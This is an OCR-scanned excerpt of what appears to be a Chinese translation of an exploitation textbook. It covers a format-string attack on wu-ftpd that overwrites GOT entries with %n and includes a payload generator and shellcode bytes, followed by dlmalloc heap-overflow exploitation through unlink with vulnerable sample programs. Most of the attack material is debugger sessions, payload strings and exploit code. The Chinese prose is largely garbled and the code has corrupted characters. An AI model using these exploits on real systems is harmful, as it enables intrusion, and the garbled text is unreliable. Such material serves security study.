root 32710 0.0 0.2 2016 700 ? S May07 0:00 fepd: accepting c
fep 11821 0.0 0.4 2120 1052 7 S 16:37  0:00 £epd: localhost.l

CLeepll S IBATHYSEBIR R RATER G T2, Ki5h gdb, RIEH
attach 11821
M EFHAR . IRROZAE BRI F IR @R

Attaching to process 11821
0x4015a344 in 22 ()

i Acontinue, ikgdbBkdiiiT.
DI Eldownti b & 345 FRIZEE, WG VIR IEIKIA MgdbRebifr, IRAT IS 2R T 1l
ESCY
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Program received signal SIGSEGV, Segmentation fault.
0x400d109c in ?? ()

EREREAMERIM ARE, ROBEELHOFEL. 0F - FEARTHILARS:

x/51i $eip

0x400d109¢: mov %edi, (%eax)

0x400d109e: jmp 0x400cf84d

0x400d10a3: mov OxfE£££908 (%ebp) , Becx

0x400d10a9: test %ecx, Secx

0x400d10ab: je 0x400d1040

TR T YR A BRI

info reg

eax 0x41414141 1094795585

ecx OxbE£E9C70 -1073767312

edx 0x0 0

ebx. 0x401b298c 1075521932

esp OxbE££8L70 Oxbf££8b70

ebp Oxbf££a908 Oxbf££a908

esi Oxbf££8b70 -1073771664

edi Oxa 10

BANRRYmov sedi, (eax) A IEHEEHoxal HIFI Mtk 0xa1414141, RHIBIH BT
AR HEL o

0x4141414 13 B 2% T RAERATAANETTEHE A9tk . BRAER b 48— N4 ROUR e, 7]
UAZABoRg e, a.

Q RAFMgIRIE CEIBRRRE L, 5 R 7 VR B 2 AR 1o i £ )5

O 2RRBR (GOT) GUATEMR R, WRIEL NER N B 50—, I

ALY, Hirpm):

O HIHIEEH (DTORS) 2 CRRMER B A BT R O s

Q CHMFE# T, filtumalloc_hook, realloc_hook Hifree_hook;

O atexit4i#y (ZHatexit manFA);

O FiA SLALE R BREL, BIINC+H viables. [R19 i 3%

Q Windows B IRARAL B (15 W AL FRAL Y, B JLP BRI ikt .

DR AT EC BN, I GOTHEARRE R 3% S L, A BRI A AL S IRIT I T —
WHZI), FIUREAET . EARGOTZH, SRR — Fwu-Rpdfy i 1 7E5K

void vreply(long flags, int n, char *fmt, va_list ap)
char buf [BUFSIZ] ;

flags &= USE_REPLY_NOTFMT | USE_REPLY_LONG;
it (m /* if numeric is 0, don't cutput one; use n==0 in place of printf's *
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sprintf(buf, "$03d8c", n, flags & USE_REPLY_LONG ? '-' : ;
/* This is somewhat of a kludge for autospout. I personally think that
* autospout should be done differently, but that's not my department. -Kev
" if (flags & USS_REPLY_NOTFMT)
snprintf(buf + (n ? 4 : 0), n ? sizeof (buf) - 4 : sizeof(buf), '%s*, fmt);
else
vemprintf(buf + (0 ? & : 0), n 7 sizecf(buf) - 4 : sizeof(buf), fmt, ap);

if (debug) /* debugging output :) */

syslog (LOG_DEBUG, "<--- $s°, buf);
/* Yes, you want the debugging output before the client output; wrapping stuff goes here,
« you see, and you want to log the cleartext and send the wrapped text to the client.

printf(*$s\r\n*, buf); /* and send it to the client */
#1fdef TRANSFER_COUNT
byte_count_total += strlen(buf);
byte_count_out += strlen(buf);
tendif
f£flush(stdout) ;
)

SERCR AR ARRITRAT 0 L e Y, ZERRRU llvenprint £2 )5, FFHEH LR
Y Tprintf. JK4 - Fin. £tpa L (KGOT.

objdump -R /usr/sbin/in.ftpd

< BHr>

0806d3b0 R_386_JUMP_SLOT printf

<R eHhE>

AT R A AT DA, BT DU SRR ZE 00806300 L i H 5 P B U 30
AFRRL. BRAIHR R A 52 ) MBS (RAF 7 0x0806a300 L (9, F2/7 B Hs B EITRAT A
A AR EEAT R 2 A AL B S SR A7 4E 0x0806 a3 b0 B R ik 2 J , we-fipd 22 IEH
AT Flprinte, MIGHATH IR )

R RTE A A7 A 0xa S Blprint £93AE, RATHA A BB 0xa.

./dowu localhost §'\xb0\xd3\x06\x08%272%n' 1

ATt gdbM BIfpl) FHEAEL £, ML BIRAEN BR:
(gdb) symbol-file /usr/sbin/in.ftpd

Reading symbols from /usr/sbin/in.ftpd...done.

(gdb) attach 11902

Attaching to process 11902

0x4015a344 in ?? ()

(gdb) continue

Continuing.

Program received signal SIGSEGV, Segmentation fault.
“0x0000000a in ?? ()
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Ok! BThHAE AT R 5 1 )R 2 ML T o $ETR, RATHfEshellcodeIRLA Fl—2

HEX .

SRR Hexit (2) B AMEREshellcodeflliX—TF o

R K EGRE, RARLERSHAREHEA KR SHL. Bl TAF

IR A F R, L TARGE—NERFEEA, AEFHLE; Ha3shellcode
IR RARMAHAE R, LTAFRBHATHR R EARKILAIEA S
GCFHF & LA TikH,

e

#include <stdio.h>
#include <stdlib.h>

int main()
{
asm("\

xor %eax, %eax;\
xor %ecx, %ecx;\
xor %edx, %edx;\
mov $0x01, %al;\
xor %ebx, %ebx;\
mov $0x02, %bl;\
int $0x80;\
")

return 1;

)
XMW int 0x80# Hexit REWH . JIFHBTENMEF, RRE/LETUERT

PR 03X BAE  (shellcode bRy, BTLL, T LAE IMAEGOTIIALH . princefiuhl

fRAFTE0x08064300, ARititishellcode/i7EE R TH» B SE £ 7E0x0806d3baTTTH -

KRR EAHE BRI S NG ? B AT 3T, BRATGIE AT AR A

st SRAFHEE/NBE NG FR I AL . Bk, 7EXEIR B, T CURIATE] E AT R A SR

£

Clow-order) FHRHF4W, FKIB. 48, KFHMEHR—HEIEM: BT HEWHERB

b, K ERIRIG 3B,

AN R K BT . JUUS AT S A SR S S R S A B

B, SRR AT — MR R SRR B MR (nkE .

[, g1 AL A A, BRATIRV X T LU A 164 B 30 o th A B RRAARAT 7T RS A\ 64KB

JEME R AL, AT X BT

./dowu localhost $'\xb0\xd3\x06\x08%50000x8272$n" 1

75
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Program received signal SIGSEGV, Segmentation fault.
0x0000c35a in 22 ()

c35a#£50010, MFUIMEARE . XEHERHE— T EFSAoxc3sa.

BATLATAEG:

./do_wu localhost abc 0

wu-fipd 5 £ 4 -

200-index abc

RIS (i SRAL BB I B P75 indexI G5 R (KREH6MNTH) T . BORAT 4 A enik R
. BAT LT

6 + <number of characters in our string before the %n> + <padding number>

BT, SRR

./dowu localhost $'\xb0\xd3\x06\x08%50000x$272$n" 1
I (6+4+50000) 5 FHhtox0806d3b0, A+ ANHBIRRE0xcI5a. PR ILIE0x41414141
BEprint£itiht:

./dowu localhost §$'\xb0\xd3\x06\x08\xb2\xd3\x06\x08%16691x$272$n%273$n" 1
193:

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in 2?2 ()

b BEF 0xa1414141. XEHM LLANEY, BAHKEGAFHME (0xa141) —
~REBYRTARA AL, B RES RT3 E ML, WA S A AT B

2273$n.
MREEHEAL, FRHBHRE/MER. FTHMBRTFEEARRES L.,
#include <stdio.h>

#include <stdlib.h>
int safe_strcat( char *dest, char *src, unsigned dest_len )

€
L£( ( dest == NULL ) || ( src == NULL ) )
return 0;

if ( strlen( src ) + strlen( dest ) + 10 >= dest_len )
return 0;

strcat( dest, src );

return 1;
)

int err( char *msg )

(
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printf('ts\n", msg);
return 1;

int main( int arge, char *argv(] )

8
// modify the strings below to upload different data to the wu-ftpd process...

char *string_to_upload = "mary had a little lamb;
unsigned int addr = 0x0806A3b0;

// this is the offset of the parameter that 'contains' the start of our string.
unsigned int param_num = 272;

char buff[ 4096 | = *=;
int buff_size = 4096;
char tmpl 4096 ] = "*;

int i, 3, num_so_far = 6, num_to_print, num_so_far_mod;
unsigned short s;

char *psz;

int num_addresses, a(d];

// first work out How many addresses there are. num bytes / 2 + num bytes mod 2.

num_addresses = (strlen( string_to_upload ) / 2) + strlen( string_to_upload) % 2;
for( i = 0; i < num_ addresses; i++ )
«

ai0] = addr & Oxff;

all] = (addr & Ox££00) >> 8;

al2] = (addr & 0x££0000) >> 16;

al3] = (addr) >> 24;

Sprintf( tmp, *\\x®.02x\\x®.02x\\x®.02x\\x#.02x*, a(0], a{l], a(2], a(3] );

if( tsafe_strcat( buff, tmp, buff_size ))
return err(*Ocops. Buffer too small.®);
addr += 2;

nun_so_far += 4;

printf( "$s\n*, buff );

// now upload the string 2 bytes at a time. Make sure that num so_far is
appropriate by doing $2000x or whatever.
psz = string_to_upload;

while( (*psz != 0) && (*(psz+l) != 0) )

// how many chars to print to make (so_far % 64k)==s
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*(unsigned short *)psz;

num_so_far_mod = num_so_far &OXffff;
num_to_print = 0;

if( num_so_far_mod < s }
num_to_print = s - num_so_far_mod;
else
if( num_so_far mod > s )
num_to_print = 0x10000 - (num_so_far mod - s);

// if num_so_far mod and s are equal, we'll ‘output' s anyway :0)
num_so_far += num_to_print;

/7 print the difference in characters
1£( num_to_print > 0 )
{
sprintf( tmp, '$88dx*, num_to_print );
if (1safe_strcat( buff, tmp, buff_size ))
return err("Buffer too small.”);

// now upload the 'short’ value

sprintf( tmp, "$#3d$hn®, param num );

if( tsafe_strcat( buff, tmp, buff_size ))
return err(*Buffer too small.");

psz += 2;
param_nums+;

printf( "$s\n*, buff );
sprintf( tmp, "./dowu, localhost $'8s' 1\n*, buff );

system( tmp );

return 0;
}
XAFEFAE A dowu AR TR, #HATHIFHH (mary had a little lamb) L#F|corff
Hudik2E A o
LR R wu-ftpd R ERRIA BT (K AR E, T DU E
x/s 0x0806d3b0

0x806d3b0 <_GLOBAL_OFFSET_TABLE_+416>:  *mary had a little
1amb\0266\2206\017GV¥\004... (etc)




66 H4% HXMERA

I L TTGRAR HHRT LU 2], BRAE LT AT UEAT B F 1 B AR FEIE TR R . Bedidl i & e
CLRET .

IR FRTE fexit shellcode, Ff7Egdb BB, AT LA BIMLEN Jath O3B F 5 F5,
WF:

AX31Axc0\x31\xc9 \X311%32\xb0\x01\x31 \xdb\xb3\x02 \xcd\x80

T UEHRIA B figen_upload_string. R LKA FRFH:

char *string_to_upload =

"\xba\xd3 \x06\x08 X3 1 \xc0\x31 \xe9 \x31 \ X2 \xb0\x01 131 \xdb\ b3 \x02\xcA\XBO* ;

/7 exit(0x02);

EHENDETTEEARRZN—TF o FRH S LMBRAKHE Scor HMprineel, 247
FAATH i ffjvenprint £ ) JF, B & Alprinte, BBt BAKRERE, R
EWEFeor, WHHITHR Mprint £7FHFF 4 shellcode. 488, BIHRRIAKMBRIETT,
AR, ERRNMAIBREHOR ©X MR, B4, RIEERERE—AEXRENS, Ry
R A SRR

HIEITE MU Mgen_upload I i, B4 T 5lgdbsif:

[root@vulcan format_stringl# ps -aux | grep ftp

ftp 20578 0.0 0.4 2120 1052 pts/2 s 10:53 0:00 ftpd:

localhost.l

[root@vulcan format string]# gdb

(gdb) attach 20578

Attaching to process 20578

0x4015a344 in ?? ()

(gdb) continue

Continuing.

Program exited with code 02.

(gdb)

BEAR EL2TEwu-fipd B Th A, BRI A AL AR T 2t 4.

EFRbwu-fipd 93X MR, AT OB R wafepa2600. co Bh B ABEATE SRR AL X
AR L wu-RpdiZATARES T, BTARA IR TF X Lo, T AHF AU Mshellcode oy AfA L
Bho XA shellcodef T LUF JLAE: St o

(1) BT AL HEsetreuid () BHO.

(2) Flflaup2 () KAstd ORIIEIA, T IR A Fshell AT LLAEH FIRE M A5 B 7«

(3) LB Elcall i @ #7715, HEARAFERERPIMAER AR, ARSI PR B g X
FRALE .

(4) it #Echroot () WA Z /R WA HAT chairkWiFF chroot () «

(5) fEexecve () Biz4Tshell.

IATFRUAS (R R 53 wu-pd BB A RS54 P LT84 R SRAR AL fshellcode .
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46 Aftamixs

TEEIEEA BT, RAIVEAE G2 HIERLER? RATRSE, WRLHR
printf () MASS HER S HR, RRRERERE S RO RRELE, mRER—5
BBOEIR, UARTIAE? | BR, XRAAHY, EYCEATELESHNRKNE
AR GFBOXAIERALT AT .

TECEAEMA AR RSB RE, T UH FHIXFE S % a%:

void foo(char *fmt, ...}

CPRAT AR B man va_arg R T AT . RN LR, B AmanFAHEQEE TTES
B

LRBAFEIAN, 7T fva_startZ S RChRMER MU AT R S MBI RE BB FF 4, RE
B va_arg BB HHNAR, BIFHHvaend %, & IRCHRMERBAES RX A B S HEIR M
A

{ERE, EATTEEAFAE AN, BRAREHEFIRIEE T 20025 Hit, LIUREHAE
HIHUBIRAE BUR AL T 2 DB, BRI A o BN SR s (DR «

foo( 1,2,3, NULL);

XA BB, (XA RANSI C8OALIEA a2 MR S HR BN bRAE . BB,
SRR AFANRIT AR (AR o

B BV, AT T AR SR CRR M T R M, B S RERIN S T R 45
#, RS LX) R 2 .

BGF, XFhREEANST RIC8OIAT MBI, JLTRICHHE R BRI R

47 B BRAETR

AR, RATBAERAZ AT AELinuxF & ERIFIR IR T . fEX 1, RAT
HPOL E B — T AR E .

(1) s eAR by N TR e R AT, WS B, R A T
R SR 0 B3 AT AR A0, S AU B RS R AE B AL BB Z AT AU I S
Hioghit.

— B IRESH

O AT LA s A F BRI TR P 4E R

Q AT B o L ) AT I RO S AR RO AL

QT LA 0 0 A A ) 07 (9

O AT LRI ShofMAFRF S AN 16RLAI, X REIEIE RIS AT R .

(2) WREFFAIALAL & NREANEEF, BROIR T LT s BN, HUHS LA
ANBBCHEAT. B, RS AR RIS R O T MEIX 1, LARIEEAE AT
IRLTD, SRJEFI A #ndlS AR ES BN EHE'S A shk .
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B4R, L A TR R M ALFEY (FEWindowsH AL BRI R, RAKHMI),
MABFTUR AR B A S B ROEFY.

(3) EESHU I (FELinux print RBRMERE) AW BREMF LB EORSE,
th AV EEFALRIVSNBHSE . ERSEHOEEABI, fil.

$2726x
R LRSS W XAMBTTRENZE.

(@) R TR R AR s B 160041, BT EL S Men, BRATTLL
ARTIARIKS, HFHHFROEEIEE, TRTUSABENMEFN. R-187 T WRA
#20x04030201 5 AMehtx, AT ZMELA 4.

F*4-1 BAmHE
o X X+1 X+2 X+3 X+4 X+5 X+6
BAX 0x01 0x01 0x01 0x01
BAX+H 0x02 0x02 0x02 0x02
HAXH2 0x03 0x03 0x03 0x03
HAXH 0x04 0x04 0x04 0x04
HATARBARIER  0x01 0x02 0x03 0x04 0x04 0x04 0x04
[k

EAVERANMIA, RER T BSH4BS, ELE & BHRAX4BFHEM3B. REAFNA
FEAi R, BRI A K. (BLEWindows P & LA 2L B RN, SRR ERFRER
HhZz—,

AT 7 A A AL R BAEEAR, BAER A EIIE kMt 4.

O HERIFHREM . SEHENX A, DU HRAER P s, X RCBRAT AT RE 2

FUHER . SRR B

O S IHABSEIREYT R HAREr . XAKRES, PR RFHALLIRE Tl HrE

ikt R, WRBFRFRACHEN, MAH e REH MR

O KERESHAERFIIR, RIESIRFH . XA ES, Rk R N,

T AR B LK o
0 HEGOT4H . RA{EW-Apdfyfl T Rt RIXFEMIN . XA TR AEH AR
0 KGatexi AR, AT U XA %20 A AR T o
Q HEDTORSK B4 H o VA TWRIXAJ73k, WS4 SOk 51) i 9 Juan M.Bello
Rivasffj 3.

O FIAER SRS LA, TR A R AR R B o XA RSB E A
R BT RE LB AT iR .

O MSRTHRHRAAR, WS RAFAE WA UIDERGID.

O BEHEH R P RA ISR RBIREREN L.
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RAR EARARVRATD, AR LA FE B iSRRG X SR .
O FAAmZ KR, Tshellcode SR N FFIREMALE. RIVEW-pdfIH T HRR
KA.
O WRAER BRI, AATUH SRR MBI, KRS ERITEES ML
Srfirdishellcode (HIREERMMH R F).
Biltn, R ORAFLE i AT LA IR T H A A S GOT:
add $0x200, %esp
Jmp esp
XA T LA Bk Blshellcode UMMt Blt, 7EXTEBGRET (GOTHHBUEMAE) /7,
BB B R AF shellcode il . X772 th AT LA A AR L 2 A0 TR Ak A 2 G T P SR AT
shellcodef| &7 /788 -

bR b, ATRET AN B EIRA REX MR, AEBEZAE.
A BB Gera MIRiQRRMIME R hitpy h i p59-0x07.txt.
4.8 NG

AT BIH IA R BRI A ARG, SRR BRI I35
HEREN, (R ERAT T KROBEEAR, TR ¥,



FEENALinux LIHER 1, {8 B Doug LeeS ¥ fimalloc3t B, Fit B ek

Jydimalloc. ZFEEH#A G — LR HAlmalloc () LB RHER T H B KBS .
SEFR b, 5 MR B R RATR SR AT AL R e ERAIA R R T ARAF R
trRGFETR. WERPFAMEERTTHIN, HpRAH /B, dimalloc LR iX 2
B O I — A o AR SRR A malloc (9 655 52 R BUF FE IR 86 A0 R T C AT 0 BRI )
ES 8

Doug LeeX}dimallocid REFIF 4%, AT LABG i 5.08Wego. html3k
TRAKN . WRIFERABDoug LeeffimallocSiBh, EINTEARLES Bl Jeil— PR L.
EARSCHE (36 Py T R L 1R T 2 Vi, 1 T T &R SRR
FRAG AR ELRA FIRH Mglibed T, BILAE -EHSERIL.

51 #RMH4

FFEETH, SARBEHLT ML, ARG AR 2R RS KR AR
B, AR BARKEST, RAOHERFT AN AR RBRRIFEN. Bk b, FERT
TERIFI I RAEHE EH B BRI WA, TI—BURIEEATH, IRk RS ARSI
Ao — AN A Linux L 4 AL 15  bes Bl CRAVALIIRRAERD. catall (EAIMLKIESR
A AIUbE . Fibrk () Bmmap () F RIS RN dimalloc () MM H—B. #RATLUH
gdbffimaintenance info sectionsfy4 M IXLLBIH B RIFMAMU K Himalloc () AL
MBA RICE SR, BERMNFR, EATERBITURERE. fh—BRE, ANxMET
AER, TR TR TR BRI RN 0 AR B A E.

Hflbasi cheepéAgdb, PfTmaintenance info sections:

(gdb) maintenance info sections

Exec file:
* /home/dave/BOOK/basicheap', file type el32-i386.

0x08049434->0x08049440 at 0x00000434: .data ALLOC LOAD DATA HAS_CONTENTS
at .eh_frame ALLOC LOAD DATA HAS_CONTENTS
at : .dynamic ALLOC LOAD DATA HAS_CONTENTS

14 at .ctors ALLOC LOAD DATA HAS_CONTENTS
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0x08049514->0x0804951c at 0x00000514: .dtors ALLOC LOAD DATA HAS_CONTENTS

at : .jor ALLOC LOAD DATA HAS_CONTENTS
at .got ALLOC LOAD DATA HAS_CONTENTS
at .bss ALLOC

TSR A RIS AT B E
brk(0) = 0x80495a4

brk (0x804a5a4) = 0x804aSad

brk (0x804b000) = 0x804b000

TFHRRXAMEF R, SR R R A2 ] st

buf=0x80495b0 buf2=0x80499b8

T XIZ Tmaintenance info sections/FHIt, BN T EXMEFBITHAERIY
B ERUWHRB (RE—D) MEEENE SR B (load2).

0x0B048000->0x08048000 at 0x00001000: loadl ALLOC LOAD READONLY CODE HAS_CONTENTS

0x08049000->0%08042000 at 0x00001000: load2 ALLOC LOAD HAS_CONTENTS

at : loadll ALLOC LOAD CODE HAS_CONTENTS

(gdb) print/x $esp
$1 = OXbEFFE190

HEHTE

BFEETES, FEELEREN, DR Mbrk () Remap () HATAE, BEEA R HE
BeST A R, YFRF 7 B4 RC SRR A A2, libe W ALJT B # ftmalloc () s realloc () Mlfree ()

ERFIWRIE (Bt WA R 1000995, malloc () Hfibrk () HREMIA MBS A
Yo HHAEOBRMEH S, TR KR RF/ SRR P R, A, LA
free () I, ERAMFRKMBLE TS HAREH, RMGHELERIWDFNT FEIEE
6 B RIBATFE 25 R B N, AT AR AR BBl 1L P2 PR 4T B ok O

AWEITEARE, JLFHiA fmalloc ) SRR ATCEIREROCE . KRS Mk
AKMAGEHHR . dimallocH A REMRAFXSETTHUR, £ EemallocSHUH PR LM RAFEA].
RS TR 454 A LA, REHLL, B ARRH ST B T e, 5 Skt fa
AR, AHFRRERATEE.

IXBETOHE — MARIELERT M TT : malloc O SEBLA CMAM SRR SHRGH HATE
SRAYHT / JRRLT o B IG AR LR AR T ORI BRSO BRI S T, ST I
8 (AR ATPRE) BEARAFAEM LA H P (R IX 2 )R o

5.2 R

AR b Al T BRI R 7 TR R, ARATRYE R ARG, b
R AR, AT ) AELAE R AT SRRSO W 00 T AR IR AT IR R . T B — 2 WO,
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RERRIRVEM, B LICERHIT.
O samba (F2F 53 S VPHS K P F7 SR ST BUABEE (77 )
memcpy (array [user_supplied_int], user_supplied buffer, user_supplied_int2);
O Microsoft IIS:
buf=malloc (user_supplied_int+1);
memcpy (buf, user_buf, user_supplied_int);
Q 1s:
buf=malloc(strlen(user_buf+5));
strcpy (buf, user_buf) ;
Q Solaris Login:
buf=(char **)malloc (BUF_SIZE);
while (user_buf[i]!=0) {
buf (i]=malloc(strlen(user_buf[il)+1);
v
Q Solaris Xsun:
buf=malloc(1024);
stropy (buf, user_supplied) ;
SRR SR RO NG A TR SROF AN KRR AT SR BT
(% —TFxdr_array).
buf=malloc(sizeof (something) *user_controlled_int);
for (i=0; i<user_controlled int; i++) (
if (user_buf(i]==0)
break;
- copyinto(buf,user_buf) ;
}
MIEADEX LB, IR KB (RTERR L) BB ARAT AR R AR tH o A RIR IR
RIUAERE T, HULLFR (grep) 77 Hkslsik i ML HINE S R EEALT R ATHER) o
Meree () HiktL LR MM —F, HRITAEREXFIFMITIE, WHANNEHPI8H.

521 BAMRE

HREHORR AR T AL, SRS TREFE, basT A R
PR EROR AR ROIFTEREROETS, MRMEnalloc () BREree () KikH HH:
BB FENRATREAE B A FE ko

SEABHTH (95 HESH AT TR o

/*notvuln.c*/

int

main(int arge, char*+ argv) (

char *buf;
buf=(char*)malloc(1024) ;
Pprintf(vbuf=8p",buf);
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strepy (buf,argvil]);
free(buf);

)

T R Itrace A H :

(dave@localhost BOOK]$ ltrace ./notvuln ‘perl -e 'print A" x 5000°°
__libc_start_main(0x080483c4, 2, OxbEffe694, 0x0804829c, 0x0804844:
<unfinished

L

malloc(1024) = 0x08049590

printf (*buf=tp") = 13

strepy ( . o=
free(0x08049590) = <void>

buf=0x8049590+++ exited (status 0) +++

AR, BFRENR. REBREY, BRAMANTHRNE TRELE, BRIRAHS H

free () WHIFT B ML
PUAELLRAIE — N B .

/*basicheap.c*/

int
main(int arge, char** argv) {
char *buf;
char *buf2;

buf= (char*)malloc(1024) ;
buf2=(char*)malloc(1024) ;
printf ("buf=$p buf2=%p\n",buf,buf2);
strcpy (buf,argv(1]);
free (buf2) ;

}

AL AP Z AT e RER G B AL T 52 88 R B X 2 J& R,
XEAPANEX, EAEN I RAWTE, S0 NGEH DR A0S I R U 5 =AM IX
SRR, VT ORI, AR AR R I A EIFE 288 R A R R WA AR X
B TOHAE, B EHRIBON, malloc) KR T AL M A A 7E -

{dave@localhost BOOK]$ itrace ./basicheap ‘perl -e 'print "A" x 5000'°
_libc_start_main(0x080483c4, 2, Oxbfffe694, 0x0804829c, 0x0804845¢c

<unfinished

Lo

malloc(1024) = 0x080495b0

malloc(1024) = 0x0B0499b8

printf (“buf=%p p\n*, 1345181 ) =29
strepy ( 49560, . ") =

free (0x080499b8) = <void>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

W e RAA A

St THAR T Pbrulinie e,
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M A ERARAE, LR REARANYEAnalloc(). free()frealloc() 8
HIRAPL H T B—ANRANKERA, hEEZRIEALT RS RMAGIRAF. Kb
k#ﬁ%mo

XA, RATELFSRI T T X KB RPN R, BEF S
BT, ARAEARBUK A e MR IURAR T A M R, S TRR R AT e R A A
AR A ABRGUHERS I 5 B 77 AR R RR RRF R BIAK R Z R IR, A RAERRF
Vi £ree () Bimalloc () W RAEMBUR, THEMELTHEAT I 24T 20 R G K R /R s
77 . B4R, FEVPSNELT, GURBAAG S T SEI AT, Bk i B0 i TR MR 78
BEAMITZIE, ROV AEEEAMNWE ST 2R

(gdb) x/xw buf-44§ B Foutdg K&, FPRAEGKEMN LA RGHS, KNAFLTRER
AEAINEAR (AATFHE) hRUEE, BAFINOLBRALFEHRERA.
(gdb) x/xw buf-4
0x80495ac: 0x00000409

(gdb) printf *$d\n*,0x409

1033

FEHRALEA1032, EFTHA K 69KA1024BA0 LARSAT &K 498B. o — A
FARFEARLATATEA AR, T RCRIAE REAHF—H) | ML Rk I0AA R
AWM AR ID, o RERAE (GRA0) , AFEAMARZIER A%, fAbus-sikt
ARG K, B R AL, RFEANRAT R dnnap () R4 .

B BRmalloc () WIS AT S /R I P AF SR B FUBR SR 558, TROVKATER AL
PSR AT — O, ARJRHE TR KRB M, BIDXRENAEE, BT LE
B SRR

malloc 380 ({4 #fLinux fjdlmalloc) #HHSME BIRFEAEZ R . FAFHIEBREAH,
B, BTN eI BARTE— R TIHABIRENT B o ZE PR SRR 00 FH P R 2 IR (K T 4B A2 — /T
e, B TRIABRE—AF e RATHF XSS SRS

XHAMAEATE, HEMKoue R AERN, JFiEbur2 kB 8B R R oxELELEEEQ
OxEEEEFEEE CHT— MR .

,iﬂ tm.z ri-e TlAsmlmle endmn&.‘)‘&‘

YEH 46 A M9 RedHat LinuxE, Pcrl»ﬁBliﬂ?ﬁi“ﬁﬁi%ﬁra‘lUnncode}éil—ﬁﬁﬁm
F b, 7EREENXF BRI, AT LU Pythonft ¥ Perl. i, WILLZEgdb AT I F K9 0 4 it
FAF.

(gdb) run ‘python -c 'print

PAT*1024+ " \XEE\XEEAXEE\XFE "+ \XEO\XEE\XEE\REE" "
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WS TR _int_free () $54 L BCR BT B T LABRER £ree ) H9ATH. Ch T HREIX
A4, FTBASEIEBRIO AN A 0x01020304, FERA MM 77 A% AT LURE_ine_free().)
TTAH H, EL W AGEM AR LW R

0x42073£dd <_int_free+109>: lea (%edi,%esi,l),%ecx

B4 R BAR RS, FLFFMItbuf = 0x80495b0 buf2 = 0x80499b8, ARJFFMH.

(gdb) print/x $edi

$10 = OxffEfEEFO

(gdb) print/x $esi

$11 = 0x80499b0

N TR ARATTT RS, MR (ouf) {RIFIEEST, BRINK/IMRIFERDT. R,
X BT Miglibe free () ¥R HEAIHIdImalloc (), WRRAHTHIRZ I MImalloc () KB, AE
FERT, ERBHIERT, free() Rintfreef#f#, intfreel#Z —4 “WEEIHH” MR
TR R A M

SEREFAIRS, free () PIFLEL ENIFRITHEAIB .

0x42073££8 <_int_free+136>: mov Oxffffff£8(%edx),%eax

0x42073ffb <_int_free+139>: sub %eax, %esi

%189 (mov OxEEFFFFES(%edx), teax) H, teaxEBAEMEEFIKHMbus2ii
3k0x80499b8, FEEZRTMISBHRIAEMAN —REMK KN, MIERFEseaxB. UR, R
BANETIXME. BT, XMIRZ0, MABBR T OXEELELLELE(-1)o

HEH 4IRS (sub %eax, %esi) B, sesifRFFMIE LRTHRAILIMuHE. RITMLRTHR
HIHBER 5 — AR R, BT VR BIRT — SR kil 48R, MRS TH—A
DR MIKANG, RER A R EORAFFER THE. FHEKHS (unlink(%) LHHERAR
11

0x42073ffd <_int_free+141>: mov 0x8(%esi),%edx

0x42074000 <_int_free+144>: add %eax,%edi

0x42074002 <_int_free+146>: mov Oxc(%esi),%eax; UNLINK

0x42074005 <_int_free+149>: mov %eax, Oxc(%edx); UNLINK
0%42074008 <_int_free+152>: mov %edx, 0x8 ($eax); UNLINK

sesiBBE, HRITE o X B ATRMLE. 8 FOROBPITLRED, Yblsedx,
seax W B, PR EAATET, RATT U HlredRIveax. HIUXA FMIIELTET free ()
VAR, PO RATBRAE Moue2 8k (A buE2 M IR, RATELAT RIS T) ZA
Ao RPALF B — DRI o

PigeFE ), RS TFRE 7@ M E b ERMSRR.

P ffirundr 4 HPythoni 55 — M B¥O ¥ LS T ous, HAtH-aMAMNLE Sour2sh ki,
RIFHHNBIIFEHAR, ATl seax B HABCD, fB%eaxB HEFGHT o

(gdb) r ‘python -c 'print
“AT¥(1024) + " \XEC\XEF\XEE\XEE " +* \XEO\xE£\xEE\xE £ + *AAARRBCDEFGH" '
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Program received signal SIGSEGV, Segmentation fault.

0x42074005
7: /x Sedx
/% $ecx
/% Sebx
© /% $eax

/x sesi
2: /x $edi

(gdb) x/4i
0x42074005
0x42074008

in _int_free () from /1ib/i686/libc.so.6
= 0x44434241
= 0x80499a0
= 0x4212a2d0
= 0x48474645
= 0x8049904
= Oxffifffec

$pc
<_int_free+149>: mov %eax, Oxc (%edx)
<_int_free+152>: mov %edx, 0x8(%eax)

BAE, seaxtfBiE Avedx+12, SedxiiiiS Aveax+8. WIFXAMEFRATSIGSEGVALEERE
JF, Ri%HAseaxMsedx R £A TS #4 Rotht o

(gdb) print "#8x", &_exit_funcs-12
$40 = (<data variable, no debug info> *) 0x421264fc

BIRT, FMEXT AR, BT B “BT— R 2 DD RIS, RRHIIE,
int free g4 it HEouE2 RN HOXEEEEEEE0 (-16), B AT LT DI BRI ATRATTFE I
putiEZH (LES-1).

TR et
FE—MEF Mmallocd R, K& B BB R AT

SR
AL AR T AN C I B M2 R 3R

| Atz

[mS k]

Ps-1 WA
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ERLBRMAELGA T, A5
AT (1012) 4" \XEE" %8+ TR B4 \XEB\XEE\XEE\KEE "+ \XEO\XEE\XEE\XEE"+" \XEE\XE
E\XE£\xEE"*2+intel_order (wordl)+intel_order (word2)

wordl+1 24 iword2iX 5, word2+8¥iworalif5. (b7 7ERH B, intel order()
FHEHAR N little-endian FAF i, BBIXAMIT KD

BETEBOREERERSENF, URA ARG E XM F £, basicheap® ibuf2
ZERHE A exit 0 X exi tBRBUENTIRRL LTS MR BERERAER o

(gdb) print/x __exit_funcs
$43 = 0x4212aad0

TESFAT DA Mtk 2 fiworal, AR L RMEAE Hwordz. EIXEAE A BHEFBITRH,
S35

Program received signal SIGSEGV, Segmentation fault.
OxbEEEEEOE in 27 ()

TR, RITELIEHITEE RS, MR ANAMIERH, 3 HETHIT, BAHRRK
FHAIET .«

522 T

AN ERART VA AL R R R R R BRI
malloc(), MAEMEMAMree(), RRHERTIUELEAFRMBAERIT, FHFU—FEHA
B77 A e AR R RATIHEE T A BRI, B ERAGIF AR R,
A RIRAEIL XA T BB . A RGRBEH D R, IR AR WA
BB, BATCURBIBAE N RIRAT# A2

RAEIE BAREFE A M Enalloc O I A REree (), HRIRERI, THHTARMK T
MRS MR T AT R M2, RS HER AL BEMERINT . Hitttree)
unlink () #RK S, MRKRERIIKS MR, MaHLEEgdd LR MBS
e iRl .

/*heap2.c - a vulnerable program that calls malloc() */

int

main(int argc, char **argv)

{

char * buf, *buf2, *buf3;

buf=(char*)malloc(1024);

buf2=(char*)malloc(1024);

buf3={char*)malloc(1024);

free(buf2) ;

strepy (buf,argv(l]);

